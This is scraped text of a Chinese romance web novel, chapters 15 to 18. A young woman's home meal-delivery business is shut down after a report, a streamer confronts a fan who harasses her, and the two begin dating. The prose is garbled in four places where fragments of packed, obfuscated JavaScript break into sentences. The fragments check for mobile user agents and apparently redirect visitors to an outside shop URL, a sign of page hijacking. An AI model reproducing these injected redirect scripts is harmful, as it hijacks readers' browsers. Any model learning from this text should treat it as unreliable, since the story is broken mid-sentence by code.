l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564610|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异常火爆。 过去一周后逐渐平稳了下来,不再有太大的起伏。 这对于姜满来说是好事儿,稳稳的,很安心。 正当她满怀希望想这样一步一个脚印慢慢走下去时,某一天晚上却突然爆单了——姜满看着手机上第一次上百的订单量,三位数字翻来覆去地数了好几遍。 “我靠……这我明天真能做的完吗?” 她没设置过余量,库存一直是无限的,因为自始至终就没想到过会有这么大的单量。 姜满对于这个突然顶峰的预定量简直是百思不得其解,晚上睡都没睡好,生怕第二天完不成。 实在失眠,她打开手机开始刷短视频,刷着刷着突然刷到了一条推荐“小满饭”的图片视频,发布时间是今天中午,点赞量已经上万。 她立马坐了起来:想必这就是爆单的原因。 她好奇地开始思考,这条到底是自然推还是应之珏联系的渠道推啊,粉丝号召力这么强,在她方圆五千米配送范围之内的都有这么多人。 于是她点入了此博主的主页,少少的视频内容里,她一眼就看到了那只萨摩耶。 “和应之王好像呀,都是整天摆着一副笑眯眯的样子,舌头和收不回去一样……”姜满这样想着,却猛地发现了不对劲。 等等,这个漏出的背景怎么和她上次去的宠物友好餐厅这么像? 她着重看了这个博主的名字——“哥哥不留余地”。 一切好像都串起来了。线上工作、自由职业、游戏天赋极高…… “哥哥不留余地”正在直播,姜满犹豫了一下。 她怕直播间里的应之珏和她平常接触到的完全是两个人,她害怕一进去先听到的就是主播在“问候”他人的列祖列宗,用粗重的语调说出些尖酸刻薄的话,害怕她记忆里那个温柔日漫哥哥的形象就此破灭。 可最终她还是没忍住好奇心,点进去了。 “家人们猜一猜,对面这个人,哥哥几枪能把他击倒?” 应之珏又开始对着顶尖高手放当事人并听不到的狠话,他开着倍镜追踪者那人的动态,却迟迟不开枪,直到有蛰伏的其他人出手把他给击倒。 应之珏得意地轻笑一声:“嘿嘿,没有人猜对哦。答案是零枪——因为不是我打倒的~” 直播间飘了满屏问号,姜满也被他“冷”得笑了一下。 …… 她就这样靠在床头,默默看完了应之珏整场的直播。 这人和她认识的应之珏并没有很大的不同,说话一样淡淡缓缓但很有梗。 硬要说的话,可能是在网络世界中的他更放的开,多了一丝还没有暴露在姜满面前的幼稚与臭屁。 姜满没打算和应之珏摊牌。 大数据太恐怖,他俩住的又如此之近,应之珏的身份掉马是迟早的事。 她怕由于自己的窥探,导致应之珏没法自在地直播(虽然姜满感觉应之珏这种大心脏应该不会有熟人恐惧症,更何况是她这个不值一提的人),但她不愿意给人添任何的麻烦。 好吧,其实她也是有私心的。 她觉得应之珏直播蛮有意思的,这种线上线下都能让她见到,全方位看透一个人的感觉。 ……还蛮刺激的? 15. 上门 姜满很享受这种感觉。 至少在她想联系应之珏但不敢的时候,可以通过直播间,知道他在做什么。 ……这会不会有点……变态? 姜满决定抛下一切顾虑——她也是个普通的观众啊,只不过认识应之珏本人罢了。 别人能看,她姜满就不能看吗? 不告诉本人又怎么了,她要怎么说? “应之珏你知道吗我刷到你直播了”还是“哥哥不留余地就是你吧哈哈被我发现了”。 不管怎么说都很奇怪吧! 于是她更加坚定了自己的选择——就当不知道好喽。 “小满家”的运营步入正轨,她自己一个人有点应付不过来了。 ——那天下了一场秋雨,姜满没带雨衣,骑着电瓶车被淋在了半路。夹杂着雨丝的风格外地冻人,可姜满没空在意这些,她心心念念的都是不能送晚了,嗷嗷待哺的顾客在天上失望地看着她! 于是心一横,戴上帽子就重新冲进雨里。 在一个下坡时一下子没刹住,就在这电光火石之间,姜满连人带车倒在了路边,饭也摔了一地:要么饭盒瘪瘪的失去了原有的形状,要么直接翻开散落出来。 姜满扶起车子,眼前也像逐渐被雨水一滴滴打湿的配送单一样,模糊起来。 她站在路边面对一地残骸,第一反应是找表姐,带着哭腔给她发了语音。 可是苏越没有立刻回,姜满才想起来,这个点儿她应该在学习,手机都是免打扰的。 于是她又发给了郝瞳。 郝瞳立刻就回复了:“我现在在学校,离你那不远,现在马上过去。”让姜满像是抓住了救命稻草一样。 要不是郝瞳,她不知道要怎么面对这烂摊子。 “来了满子,我看看摔到哪了没有?” 郝瞳先给她打上了伞,然后开始把地上的饭菜用大塑料袋拢到一起,清理干净路面。 姜满显然还没缓过神来,直到看到郝瞳开始收拾,她也赶紧行动起来。 两个小女孩就这样在细雨中操劳着,后来觉得这雨也没这么大,再加上打着伞不方便,两人索性把伞放到了一旁。 最后两个人都变得湿漉漉的,姜满的刘海也变成了条形码。 郝瞳指着她的刘海笑起来,姜满也跟着她笑——姜满是被自己惨笑了,到现在还感觉刚刚的一切和做梦一样,火速地戏剧性发生让她措手不及。 此时雨也停了,姜满接到了苏越的电话:“怎么了满满,我刚看见,你有没有事呀?” 姜满擦了擦脸上的水,不知道是汗还是雨还是泪,回复到:“我没事儿,姐,就是饭全撒了,我不知道怎么和他们解释啊。” 苏越这才放下心来:“人没事是最重要的。这样,你现在抓紧时间告诉订餐的顾客今天送不了了,说明情况,然后退双倍的钱。放心吧满满,大部分订你餐的都是同龄人,而且很多都是小女孩,你及时处理,大家都会理解,不会为难你的。” 姜满很听姐姐的话,立马按她所说进行了售后。 完成这一切后,姜满拍了拍坐在路边玩着手机等她处理的郝瞳:“走啊,带你回家,我给你做点吃的。” 郝瞳冲她挑了挑眉:“我还能信你的骑车技术吗?我不会和那些饭一个下场吧?”她指了指路边吃饱了的那个大绿垃圾桶。 姜满率先上了电动车,上摸摸下摸摸,好不容易找到一处身上还略微干燥的部分,回身擦了擦后座上残留着的未干的雨水,半威胁式地说:“你不跟我走的话下场未必会比它们更好哦。” “威胁我呢?好吧,我就吃这一套!” 郝瞳笑着跑过去上了后座,紧紧抱住姜满的腰, “抓紧了,出发吧!” 后来郝瞳主动提出,可以让对象李书阳帮她送附近的大学校区的餐。于是姜满雇了李书阳帮她配送,这样她就专心致志买菜做饭就好了。 郝瞳和她对象都不要酬劳,给谁都不收。 姜满没了招,就给“战神姐”游戏账号充了些点券,说抽去吧孩子,随便抽,再也不用担心运气差到只能保底了,就算是保底姐妹也得让你拿到,穿得美美的再上战场,又给她爱健身的对象开了个健身年卡。 不是害怕之后还需要还人情,而是觉得她们对自己都这么好,她再怎么也得回报一些吧! …… 由于规模太大,就算姜满是特地避开父母在家的时间,手脚勤快边做边收拾,最终还是被父母发现了:没来的及扔掉的厨余垃圾、不再整日嚷嚷着“好无聊啊”的女儿…… 种种迹象都表明姜满有事瞒着他们。 姜满索性摊牌了:“我是在做线上订餐,为了给以后积累一下经验和资金。我没逼着你们支持我吧?我就是自己干,你们没什么意见了吧?” 姜父姜母看到了她的决心,知道自己阻拦也没有用。 再加上姜满说的也对:她没让他们帮助,他们自然也再挑不出刺来,只得就这样任由她去。 “可是妈妈还是担心。这一段时间,我们不阻拦你,但是如果出现任何岔子,你就别干了,老老实实上完学以后再找出路。” ——姜母妥协,但是也没完全妥协。 姜满觉得这是另一种形式上的“军令状”,但是还好她不会有多大的风险。 就算做不成又能怎样?最坏的结果也就是这样了,又不会损失什么。 步入深秋,应之珏带应之王遛弯时,见它胖墩墩的身子把着力点聚焦在小爪子上,然后踩在落叶上,沙沙作响。 以前他讨厌秋天,因为总觉得有一种万物凋零的感觉。 坐在电竞房里看向窗外,成排的树枝上的叶子逐渐变得稀疏,把天空生硬地分割开来。 但是,这个秋天不一样。 有应之王的到来,让他在责任和义务的驱使下来到大自然与其亲密接触。它好像意识不到气候的变化,每天还是一如既往地傻乐。这让应之珏也消减了自古逢秋悲寂寥的落寞之感。 同样富有生机,勃勃向上的,就是姜满的小小事业。 虽然姜满没再和他多说过什么,但他能从她的朋友圈里看到她的心路历程。 应之珏由衷地为她感到高兴。 “不过怎么也不知道再感谢一下哥哥……忙起来就把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564611|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我彻底忘掉了吗?” 应之珏会点开停滞在许久之前的聊天框发呆,问应之王想不想见她;也会整日挂在游戏上,看看姜满有没有上号,这样可以第一时间邀请她。 可他也没想到,自己那天在短视频平台的好心宣传,竟给姜满带来了大麻烦。 ——这天是周末,“小满家”的固定休息日,姜满一家三口正在各自屋里美美睡着午觉,却被猛然的敲门声从好梦中惊醒。 “哪位?” 姜父迷迷瞪瞪,显然是刚从熟睡中惊醒,他是被姜母踹了一脚,被迫无奈前来开了门。 映入眼帘的两人把他吓了一跳——来人穿着制服,虽然姜父辨别不出来是哪个部门的,但是一脸严肃的样子,让他不明觉厉。 其中一人自报家门:“你好,我们是食品市场监管局的,有市民举报说你们这里进行食品盈利……“小满饭”是吗?但是从事人员没有办健康证,请问属实吗?” 姜满一听也躺不安稳了。 什么健康证?! 我靠,没开店卖吃的还要办健康证吗? 她真的没这个常识啊! 她犹豫了一会儿,还是不敢出去主动承认,直至父亲走进屋来质问她。 姜满怯生生的回答:“我不知道……我真不知道……” 姜父知道现在不是发火的时候,忍着怒气,陪姜满把处罚流程走完。 姜满眼睁睁地看着自己的小程序被封禁,委屈都要溢出来了。 直到监管人员离开,她强忍的泪水终于在刹那间决堤而下。 “哭有什么用?叫你不听劝,自己不做好准备,净会惹麻烦!现在好了吧,这可不是我们阻拦你。” 姜父看着一言不发,哭得梨花带雨的女儿,埋怨着她还是一个小孩,长不大、不靠谱、做事还要父母来擦屁股。 姜满承认这确实是自己的问题,可是她百思不得其解,为什么有人会举报她,谁会举报她。 她彻底死心了。 也许这就是老天给她的指示,千方百计地设置困难阻碍,就是摆明了要告诉她——她不应该,也不适合走这条路。 姜满是那种需要鼓励和正反馈的人。 再苦再难,只要有人愿意为她喝彩,她就能咬着牙走下去。可要是有人给她耍阴招,她只会感觉世态炎凉人心难测,既然自己再怎么做都有人不满,那她索性就不干了。 虽然听起来很没有道理吧,可她就是这样的人,把人与人之间的信任与真诚看得比什么都重要。 但是姜满怎么想怎么不甘心。 这和之前的任何情形都完全不一样好吗!本来以为事情要走向正轨了,怎么好端端地,又坏起来了? 今夜,又是心情烦闷睡不好觉的一晚,她打开了又是许久未玩的游戏。 其实根本不是想通过痛快的击杀来发泄——以她的实力,除非纯纯的人机局,不然哪能有这种效果。 她就是想看看应之珏在不在,就是想找机会和他说说话、听听他的声音,哪怕不聊和今天的遭遇相关的。 姜满就是想赌一把,他是不是真的一见她上线就会拉她。 16. 声明 不巧的是,应之珏虽然正在直播登着账号,但他正在对局中,无法看到姜满的上线提示。 姜满按耐不住,于是去他的直播间观察他这把打到什么程度了,随时准备退出来再进一次,以确保能让他看到自己,进而抛出橄榄枝。 等着等着,她看着应之珏明晃晃的ID,心中升起一种莫名的情愫。 “……我好想你,哥哥,我想听你和我说话。” 姜满被这种感觉折磨得难受。 还好这一局应之珏没留余地,快刀斩乱麻地结束了。他刚想再开一把,却敏锐地捕捉到了那个小小的弹窗。 “你们最爱看的甜蜜双排今天有后续了,今天在直播间的有福喽~” 应之珏丝毫没有意识到自己现在就像被烤肠诱惑的应之王一样,就这么水灵灵地奔了上去,撂下这一句话就把“人机妹”拉了进来。 弹幕:?我们最爱看吗? ……好吧。 直播间的家人们很快就妥协了。 “这么晚还不休息呀妹妹?” 许久未聊,应之珏没掌握好分寸,出言反而大胆了不少。 “……怎么我每次登游戏你都在,这么不务正业吗?” 姜满明知故问,就是想把他诈出来。 应之珏没在意她的问题,反而听出了她嗓音中的哽咽。 是了,上次在湖滨她哭完以后,回程的路上在车里说话就是这个音调;还有那天晚上在公园里的时候,她也是这样囔囔的、黏黏糊糊的,和平日清爽自然的嗓音完全不一样。 应之珏留下一句晚会儿再播,关闭了直播间。 他下播后,才开口逗她:“怎么了,心情不好?要不我明天多点几单给你增加一下业绩?不过我私心也不想让你太忙……你这段时间这么忙,应之王都好久没见你了。” 话虽这么说,但应之珏比任何人都知道年轻人有自己一番事业,所能带来的底气。 于是他便说便打开小程序。 “嗯?怎么点不开了?” 姜满无奈:“……是有人故意把我给举报了。不过,随便吧,我也不打算干了。躺着也挺舒服的嘛。”她自嘲似的笑笑。 应之珏一时语塞。 即使姜满一忙起来,他就很难偶遇到她,但他更希望,不管在见面还是不见面的日子里,姜满都是开心的,这远比他能不能见到她,更重要。 应之珏虽然关了直播,但是还没退出平台,此时最新的一条短信的出现,让处世不惊的他一下子慌了神—— “你的不准时都是因为她吧,哥哥?真没想到你的眼光这么差,和开三无厨房的low货同流合污。你今天还敢突然下播吗?那看来哥哥是嫌我做的不够了。” 他的声音掺杂了些焦急:“姜满,你最近有没有收到些奇怪的消息,或者是碰到些奇怪的人和事?” 姜满不明所以:“没有啊,怎么了。” 应之珏像是突然想到了什么,找了个理由让她退出账号:“你把你游戏号给我登一下吧,最近有个模式挺有意思的,但是玩法和平常不一样所以得改些设置。” 姜满没存疑,乖乖的辅助他完成了账号在他手机上的登录。 登录后,应之珏点开隐匿在角落的“好友申请”板块,被来自于同一个账号铺天盖地的辱骂与威胁震惊到说不出话: “和哥哥打游戏很爽吗臭*子。” “凭什么我花钱买不到的你能得到?**用什么手段换来的?” “心虚了不敢通过是吧。没事啊,我已经查到你的身份信息了丑货。” “哥哥发的那个店就是你个寄生虫的吧?贱人藏不住了呢。” …… 因为以前也有人通过搜索游戏ID加好友的方式骚扰过他,再加上他突然想起那次直播姜满的号也暴露出来了。 他本因为姜满没有及时发现,从而提前预警感到可惜,不过现在看到这些不堪入目的言论,他反而有些庆幸姜满没有看到了。 应之珏把姜满的账号也设置成了私密,不允许任何人通过搜索ID账号的方式添加好友,才退出了游戏。 这件事确实是因他而起的,从一开始忘记给她打码,到后来好心办坏事让她的店“倒闭”,都脱不了他的干系。 他不想让那人再伤害到她,他需要防止更严重的情况发生。 但是在此之前,他需要先坦白自己线上的身份。 “姜满。” “我有事要和你说。” 姜满不知道应之珏调什么要调这么长时间,倒也没打扰他,就这样静静地等着,没想到收到的是这样一条如此郑重其事的消息。 “你说就好。” “你被举报,应该和我有关系。我没和你说过,其实我的工作就是游戏主播。之前和你打游戏,我忘了把你ID打码……你知道的,林子大了什么鸟都有,应该是有过激的人把你给开户了……” “对不起,真的对不起,这都是我的疏忽。我知道你做到现在不容易……” 姜满打断他:“我知道。” 应之珏:“?” 姜满解释:“我说,我知道你是主播呀。拜托,大数据这么恐怖,你的账号直接就给我推送过来了,我又不是蠢蛋,稍微一对就对上了。” 她继续说:“至于被举报的事情,其实也怪不到举报我的人,更何况是你呢。没有健康证就是不对的,吃一堑长一智吧。我反而还要庆幸,自己还没做大做强呢,要是那时候被举报的话,沉没成本可比现在大多了。” 应之珏愣了一愣,怎么变成姜满安慰他了? “……那你看过我直播吗……” 他回忆起自己在直播间的种种充满节目效果的言论,姜满不会以为他就是个这样玩世不恭的人吧? 精心伪造的长辈形象要化为乌有了。 应之珏的阴间作息,姜满不属于他的受众,所以说实话也没有每天看很久,但说没有特别关注是假的。 她故意逗她:“我天天看呀,你要不信的话,要不要我给你复述几句?” “别了别了。” 应之珏连连拒绝,转而询问她接下来怎么打算。 姜满抿着嘴想了一会才打字发送:“老老实实过去这个冬天,好好休息休息吧,前一阵确实有点累着了。可以到处去逛逛探探店?反正有什么想法等到开了春再继续好了。” 应之珏暗自叹了一口气,还好,姜满那股心气儿没有完全被这件事所熄灭。这丫头还是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564612|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毅力的,比他强多了。 姜满催他快去重新开播:“赶紧开播去吧,你放心播就好,我不看了。蹲你就是想和你说说话,说完我就舒服多了,一会儿就睡觉了。” 应之珏心里又被触动到。 “是想和我说说话吗……我也想和你说话。” 但他没说出来,千言万语都化作了两个字:“晚安。” 退出微信后,应之珏没有立即开播。 他想了一会儿,觉得有些事情是时候应该说清楚了。以前不说,是因为只波及到他自己。 可是现在不一样了。 于是打开“哥哥不留余地”的直播间,见人进得差不多了,清了清嗓子,用从未在直播间用过的正式语气,严肃地说:“刚刚是处理了一些事情,有些话有必要和大家说一下。 我做直播这么多年以来,一直都把直播间的体验感放在首位,因此拒绝了很多合作、广告还有孵化主播的MCN的邀请。当然能延续到现在,也依赖于各位能每天和我在这里按时相见。 我很感谢大家,愿意接受善意的意见,但也希望大家不要因为我偶尔的疏忽,就否认了我作为主播的所有。” 他顿了一下:“与此同时,我发现有一些偏激的粉丝,不,我认为这种人不配称为粉丝。对我在现实生活认识的人,通过加游戏好友的方式进行人身攻击。 我知道那个人此刻肯定在看,或者依据Ta对我的控制欲,一定会刷到这一段的切片。你的所作所为我已经存留了证据,相信不久后网警就会找到你……” 应之珏冷笑一声,“网络不是法外之地,希望大家在享受之余,不要忘记自己也是被时刻监督着的。别人我管不着,但是我不希望从我直播间里出去的弟弟妹妹们有‘不开智’的那种言行,让一颗老鼠屎坏了一锅粥。” 应之珏大多粉丝都是这么多年跟他过来的,对他的兢兢业业都有目共睹,他所营造出的良好氛围也是手游主播里独一份的,明事理这方面没得说。 弹幕飘了满屏的: “支持” “守护” “把爱留在直播间”…… 应之珏进行了一个收尾:“最后我还想声明一点,我就是个正常人,会放屁、拉屎,也不想爱豆偶像那样有严格的职业纪律要求我不能谈恋爱。 大家看我直播打打游戏乐呵乐呵就行了,别试图去窥探我的私生活,我想发自然会发的。就比如我们家萨摩耶,我就是觉得很萌,就是想秀,谁也拦不住。” “好了哥哥知道你会拉屎放屁了。” “什么什么怎么今天突然提起来谈恋爱的事了?以前哪说过这种话。” “以前你只会说你和吃鸡过一辈子的……” “所以女朋友是不是很萌,也想秀一下对不?” …… 弹幕是会抓关键词的,甚至还开始循循善诱起来。 应之珏刚刚的一番发言,嘴在前面说,脑子在后面追,看了评论区才发现这么多人抓住了这个关键点。 “诶诶诶,别抓错重点了。之前不有人说我必是年猪来的吗?年猪不配谈恋爱啊。好了,现在年猪要开游戏了。” 应之珏不给观众反应的机会,即刻开局,转回战斗模式。 17. 红线 …… 姜满说不看他直播了,当然是骗他的。 她才睡不着呢。 偷偷点开应之珏直播间,看看他有没有乖乖听自己的话重新回到了状态中。 当她听到他说有人通过好友申请辱骂她,姜满有些好奇,自己啥也没做,能被骂什么呢? 于是她登上游戏账号,试图找到答案。 可点开申请列表,却是空空如也。 姜满更睡不着了,她刷着手机,等到应之珏下播,立即发过去消息:“什么人身攻击?我怎么没找着?” 应之珏关上直播设施刚想闭上眼休息一会儿,被姜满这条消息吓了一跳——深更半夜的,这个点怎么还会有人找他? “?几点了,你不是说要睡觉了吗?骗我。” 姜满揉了揉眼睛回复道:“睡前想刷会短视频催眠来着,你猜怎么着?好巧不巧的吧,就刷到了某知名游戏主播,一不小心就点进去了。” “……那你可真是够‘不小心’的啊,姜满。” “所以你快告诉我,到底是怎么一回事。到底说我啥了?为什么我看不到了已经?” 应之珏拧不过她,如实说出:“我忘了,反正莫名其妙的。我看着烦,就手动全给删掉了。” “有话怎么不直接问?你一直在直播间等我吗?” 应之珏觉得姜满未免也太有分寸感了,他不希望她对自己分寸感如此之强。 “没有,枪声吵得我头疼,后来就退了。只听见什么什么萨摩耶、拉屎放屁……喔,还有谈恋爱!” 应之珏无奈地轻笑了一声,鬓边的碎发垂落下来。他向耳后拢了拢,回她:“说到萨摩耶,你很久没见应之王了吧?不知道你想不想它。” 姜满不知道哪来的勇气,也许是熬夜熬的、困过劲儿去,精神开始亢奋起来,就这样暗含秋波地开始意有所指:“那要看他想不想我。” “应之王肯定想你啊,”应之珏顺手拍了张它趴在床边睡觉的样子,像一个大拖把瘫在那里,“它那么喜欢你,是吧?” 姜满开始收回钩子:“我当然知道应之王一直喜欢我。” 她深吸一口气,把这句话输入对话框中,闭着眼睛按下了发送键:“你看清楚,我说的不是它。我更想知道的是,我不知道的。” 应之珏手晃了一下,手机摔落在地面发出“哐啷”一声,吓得应之王警觉地竖起耳朵爬了起来,幽怨地盯着他:不应该啊,这人平常手不是稳的不行吗?今天怎么回事儿? “……应之王不会说人话,你知道的。” 应之珏怕她嫌自己藏着掖着,认为自己是胆小鬼,赶紧又补充说明:“所以我借它之口说的想和喜欢,其实,都是我要说的。” “所以,现在快快睡觉。明天,和我一起遛应之王,好不好?” “他说这些话……我还怎么能睡着……” 姜满嘴上回答了好,心里却是燥乱无比。 ……所以这样算是,谈恋爱了吗? 怎么办,好像还有点没适应身份的转变。 “他/她是不是晚上头脑不清醒,突然上头了才跟我/答应表白的啊……” 两人想着同样的问题,同样的在床上翻来覆去,几近天亮的时间,硬生生是都没睡着。 再次在公园见面,应之珏提前半个小时就到了。 他不停地和应之王沟通着:“我一会儿要是词穷了,你就用你可爱的小模样帮帮哥哥哈,别让气氛太尴尬。” 应之珏又转念一想,自己在直播间锻炼了这么多年,常常是妙语连珠,再怎么也不会冷场吧? 姜满也没闲着,像是考试前寻求学霸帮助的学渣,找郝瞳取经:“怎么办啊郝瞳,我突然有点不想去了,感觉怪怪的呢。” 郝瞳一针见血:“你还怪怪上了!我就问你一个问题,你想不想抱他亲他!” 姜满嘿嘿一笑:“哎呀,别这么直白嘛……” “你又跟我装上了?”郝瞳太了解她了,“你就是因为有贼心没贼胆,所以才怪怪的。慢慢来,了解到心动到彻底了解都是有过程的,没有人能一秒就和你成为soulmate……” 姜满打断了她:“有。你呀。” 郝瞳无语。 她看这丫头根本就是来逗她的嘛!不过这对她来说很受用。 “我就是紧张嘛,害怕把事情搞砸了所以来骚扰骚扰你,缓解一下。” “行了你,赶紧去吧!” 看到郝瞳的催促,又看了看时间,嗯,姜满觉得现在是时候该出门了。 边走心里边想,自己怎么就这样莫名其妙捡了个男朋友? 但是姜满真的很喜欢他,喜欢到没觉得自己能被他喜欢。 难道男人的魅力真的全都来自于女人的想象力吗? 姜满不承认,至少现在是不承认的。她觉得应之珏就是顶顶好的人,在她喜欢上他之前,他就足够有魅力了。 应之珏今天穿了件厚厚的白色卫衣,他虽然不是那种雄厚的肌肉男,但是臂膀框架不小,卫衣被他撑得很有型且极具少年感。 和应之王白白的毛发衬在一起,更像“亲兄弟”了。 不过他的头发好像没有应之王的这么……柔软?姜满远远地就眯起了眼,见他的头发在灯光照射下硬挺挺的、发丝根根分明,再加上额前的一撮弯弯的龙须,她立刻就确定了下来:此男绝对是抓完头发精心抹了发胶做造型。 她真要笑晕了。 不得不说,确实是姜满没见过的风格,以前还有点“美”的感觉,现在完全是硬帅了。 不过大晚上的抹发胶吗?回家还要洗好久吧。这个应之珏也真是的…… 应之王还没等应之珏踢它屁股提醒它,就向姜满冲了过来——一如它初次见到姜满——手中的那根黑胡椒纯肉烤肠时一样热切。 不一样的是,这次它不是为了“抢”她的东西,而是为了“送”她东西。 于是姜满就看着这样一个大蒲公英的绒毛,起起伏伏着,胸背上系着一束白色桔梗花,来到她脚下扒着她的小腿。 姜满蹲下来摸摸它的头,把花拿了下来:“谢谢你呀应之王,你哥哥真坏,净让你干活。” 被阴阳的当事人随后到来,“又偷偷说我什么坏话呢?” 姜满撇撇嘴,然后把花挡在自己忍不住上扬的嘴角前怼他:“某些人听觉这么好,就别装没听见了呗。” 她站起身来,抱着花问他:“所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17564613|204678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是应之王送我的,还是它又替你‘背了锅’?” 应之珏低头浅笑:“以后我不拿它挡刀了。姜满,约你出来就是想正式地再和你说一次,我喜欢你,这点我考虑清楚了,今天白天我也又确定了一遍心意,我不是随随便便提出来的。所以我也想问问你,姜满,你真的考虑好了吗,毕竟我给你带来了不少麻烦,比如撞伤了你,比如害得你失业刚起步就……” “你又提这个干什么,我都说了,都不怪你。” 姜满对他的深思熟虑很心动,但是对他旧事重提有些不满。 她也表明了自己的心意:“我也不是随随便便就问你的啊,我就是……” 她眼睛不好意思再看他那看狗都深情的眼,于是低头看向充满期待的应之王,把剩下的半句话说了完整,“就是喜欢你啊……” 应之珏还是脸皮更厚一点,见姜满只漏给他个头顶,他就俯下身追了上去,双手扶膝盯着她故意躲闪的双眼,追问起来:“喔?喜欢我吗?可是我还以为你只是喜欢应之王呢,毕竟你说这话的时候都没有看哥哥,反而只看它了……” “还真让人怀疑,你是为了它才和我在一起的呢。” 应之珏故作伤心,好听的声音带上了一丝委屈,更显得勾人了。 姜满见他这么坦荡大胆,那层因为“角色”突然变化而不适应凝结而成的羞涩冰壳,此时也被应之珏的屡屡直球融化了。 所以她也开始恢复了本色,想做什么就做什么了——伸手轻轻地按上他的头发,然后推开了他。 “不信拉倒。” “信,我信。” 应之珏又爽了。 不过此刻有颗心比这两人更加躁动:应之王见他们站在这不动只是说话,急了。 应之王:哈喽?不是说遛我吗?你们现在是在? “好了好了,走走走,”应之珏看着上蹿下跳的应之王,连忙安抚起来。 两人夹着一狗,此狗在前方开路。姜满突然想到,要是没有那天应之王精准地撞到了她,估计也不会有后面这些故事吧? “其实这狗绳是红线来的吧,应之王就这样硬生生拽着另一头牵着的你来了。所以我们以后不要再说应之王当时不懂事了,要我说,它明明精的很。随你。” “你还替它开起脱来了?不过红线的说法,还挺有意思的。” 应之珏觉得姜满的联想很恰当且有趣,自己脑子也动了起来,又想逗逗她。 于是他顺着姜满的话问她:“那你要不要牵一下?” 姜满自然以为他说的是牵引绳,于是点了点头,张开手就要接过来。 搭入手心的却不是牵引绳硬硬的固体前端,而是另一只修长的大手。 应之珏大言不惭地解释:“是你说要牵的。而且我又没说要你牵的是绳子。” 姜满红了脸,吐槽道:“心机男。” 这声音躲不过应之珏的耳朵,他把每个字拉长了问:“不~喜~欢~啊,那我换回来?” 姜满嘴上还没说什么,手倒是很诚实,一下子就把他铺平在自己手掌上的手找准指缝,十指相扣。 应之珏笑得头上那缕发胶定好型的毛一直在花枝乱颤,然后又紧紧地回握住她。 18. 奶狗 谈恋爱的日子,应之珏认为和往日并没有什么很大的不同。 只不过多了个很想见面的人,什么事都可以分享的人,睡觉前会回忆起来的人,可以名正言顺牵手的人。 说到牵手,应之珏后来有问过姜满,会不会觉得自己突然的肢体接触冒犯到她。 姜满回复倒是通俗:“有手不牵和占着茅坑不拉屎有什么区别。” 应之珏又笑个不停。 她还没好意思呢,其实她想说这才哪到哪! 嗯,其实这俩梗王也终于是“低山臭水遇知音”了。 虽然姜满年纪小,但是应之珏认为和她没有什么不能沟通的,因为姜满是一个很有想法且具有判断力和很强理解能力的女孩子。 所以这天应之珏就问了她接下来的打算:“我问你个事儿,但是首先声明,哥哥只是关心你,你别嫌哥哥唠叨。” “咋又留有余地了?快说!” “我想问,你说想趁这段时间考察一下别家的小餐馆,现在有眉目没?” 他又怕自己让姜满感觉到压力,接着说:“不是催你,只是想让你带上我。” 姜满半分钟内就给他转过去了五家小饭店的推荐页面。 应之珏:“?” “其实我一直都有在搜罗啦,想让你陪我一起去但是又怕让你感觉这不是‘纯粹’的约会,所以没打算主动叫你……” “停停停,”应之珏指正她,“那你觉得你陪我遛应之王‘纯不纯粹’?” “我那是自己就喜欢应之王,又不是你逼我的。” “我也是自己就喜欢和你待在一起。所以,有事儿多找我,好吗?” 姜满心里突然暖暖的。 多找……他吗? 客观来说,应之珏虽然有时候说话吊儿郎当的,但他本人是个特别可靠的人,处理事情完全是哥哥级别的人物。 之前姜满遇到难解决的事第一反应还是找姐姐或者郝瞳,因为她们认识太久了,所以认为相互帮助是应该的。 ……可是面对应之珏。 她害怕让他觉得自己是“用人朝前不用人朝后”,不想给这段感情掺杂上一丝一毫的“利用”。 但今天他说……要她“多找他”。 应该不是客套吧?姜满开始思考。 郝瞳对姜满这种过度焦虑十分恼怒:“典型的刚开始谈就害怕的胆小鬼!这,这不主动说,那,那也不主动说的,啥都不敢那你也别谈了呗!” 姜满没狡辩,对恋爱女神匍匐跪拜:“求瞳姐指教。” 郝瞳也是不吝赐教:“没什么好指教的。你呀,就是第一次谈恋爱所以患得患失的。就记住我接下来这句话就好——两个人之间,没有问题就不要闲的没事制造问题,有问题就解决问题,解决不了问题就解决人,懂了吗?” “谢瞳姐。瞳姐瞳姐夫99。”姜满醍醐灌顶。 